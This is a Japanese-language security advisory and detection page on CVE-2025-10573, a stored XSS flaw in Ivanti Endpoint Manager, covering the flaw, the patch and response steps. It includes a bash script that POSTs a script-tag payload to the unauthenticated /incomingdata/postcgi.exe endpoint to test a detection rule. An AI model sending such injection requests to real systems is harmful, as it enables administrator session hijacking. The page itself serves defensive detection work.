CVE-2025-10573: Ivanti EPM 未認証の保存型XSS脆弱性(修正済み)
Detection stack
- AIDR
- Alert
- ETL
- Query
概要
Ivanti Endpoint Manager (EPM)には、認証されていない攻撃者がデバイススキャンデータに悪意のあるJavaScriptを注入できる保存されたクロスサイトスクリプティングの脆弱性があります。このペイロードが管理コンソールのウェブダッシュボードで表示されると、管理者のセッションを乗っ取るのに使用される可能性があります。この問題はCVE-2025-10573として追跡されており、CVSSスコアは9.6です。
調査
Rapid7は、Windows Server 2022でのIvanti EPM 11.0.6 Coreデプロイメントを分析し、悪意のある key=value フィールドを持つ /incomingdata/postcgi.exe への細工されたPOSTリクエストが、管理UIでJavaScriptを保存して後で実行される原因となることを発見しました。CGIバイナリpostcgi.exeのウェブルート外にスキャンファイルを書く危険な動作が、この注入パスを可能にしています。
緩和策
Ivantiは2025年12月9日にパッチをリリースし、Ivanti EPMバージョン2024 SU4 SR1へのアップグレードでこの脆弱性を除去します。Rapid7は、Exposure Command、InsightVM、およびNexposeの顧客のインストールを特定するために、認証された脆弱性チェックを提供します。
対応
組織は、2024 SU4 SR1アップデートを直ちに導入し、/incomingdata APIへの認証されていないアクセスを制限し、postcgi.exeを標的としたPOSTリクエストのためにウェブサーバーログを監視するべきです。また、管理者セッションをハイジャックの兆候について確認し、危険にさらされた可能性のある資格情報を変更する必要があります。
攻撃フロー
この部分はまだ更新中です。通知を受け取るためにサインアップしてください
通知希望シミュレーション実行
前提条件: テレメトリおよびベースラインのプリフライトチェックが完了していること。
論拠: このセクションでは、検出ルールをトリガーするために設計された敵手法(TTP)の正確な実行を詳述します。コマンドとナラティブは識別されたTTPを直接反映し、検出ロジックによって期待される正確なテレメトリを生成することを目的としています。
-
攻撃ナラティブとコマンド:
攻撃者は、Ivanti EPMスキャンエンドポイントが認証されていないことを発見し、タグにセッションハイジャックを表すアラートを埋め込んだ悪意のあるスキャンペイロードを作成します。攻撃者はcurlを使用してこのペイロードをPOSTし、正当なデバイススキャンの提出を模倣します。このペイロードがルールが監視する正確な文字列に一致するため、SIEMはアラートを生成するべきです。 -
レグレッションテストスクリプト:
#!/bin/bash # ------------------------------------------------- # Ivanti EPMスキャンAPIに対する保存されたXSSをシミュレート # ------------------------------------------------- # ターゲットURL(ホストを必要に応じて調整) TARGET="https://ivanti.example.com/incomingdata/postcgi.exe?prefix=ldscan&suffix=.scn&name=scan" # 悪意のあるペイロード – ルールが期待する正確な文字列 PAYLOAD="<script>alert('管理者アカウントがハイジャックされました')</script>" # Ivanti EPMが期待する完全なXMLボディ(簡略化) XML_BODY="<scan><device><id>99999</id><notes>${PAYLOAD}</notes></device></scan>" # リクエストを送信 curl -k -X POST "$TARGET" -H "Content-Type: application/xml" -d "$XML_BODY" echo "悪意のあるスキャンが送信されました。" -
クリーンアップコマンド:
スキャンデータはIvanti EPMデータベースに永続します。削除には通常、認証された管理者が必要です。テスト目的では、クリーンアップステップはローカルログキャプチャからテストファイルを削除することに限定されます。#!/bin/bash # 簡単なクリーンアップ: 一時的なcurlログを削除(ある場合) rm -f /tmp/curl_log_* echo "ローカルテストのアーティファクトが削除されました。"